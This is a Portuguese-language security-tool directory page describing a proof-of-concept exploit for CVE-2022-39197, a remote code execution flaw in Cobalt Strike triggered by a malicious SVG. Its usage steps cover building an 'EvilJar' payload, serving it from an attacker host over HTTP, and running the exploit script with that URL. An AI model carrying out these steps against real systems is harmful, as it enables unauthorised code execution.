Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/its-arun/cve-2022-39197
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubits-arun/cve-2022-39197

CVE-2022-39197

Exploit de prova de conceito para CVE-2022-39197, permitindo execução remota de código contra CobaltStrike <= 4.7.1 por meio de payload SVG malicioso servido via HTTP.

Ver Repositório
3877514há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-39197 RCE POC

Uso

  • Preparar Payload
  1. Edite a Linha 19 com seu payload em EvilJar/src/main/java/Exploit.java
  2. Construa usando mvn clean compile assembly:single
  3. Mova EvilJar-1.0-jar-with-dependencies.jar de EvilJar/target/ para a pasta serve/
  4. Edite serve\evil.svg e substitua [attacker]
  5. Sirva usando python3 -m http.server 8080
  • Executar o Exploit
root@kitploit:~
python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

O payload será acionado assim que o usuário rolar pela Lista de Processos

POC.JPG?

1.jpg

Links de Referência

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Há uma ótima análise aprofundada desta vulnerabilidade https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

Baixar ferramenta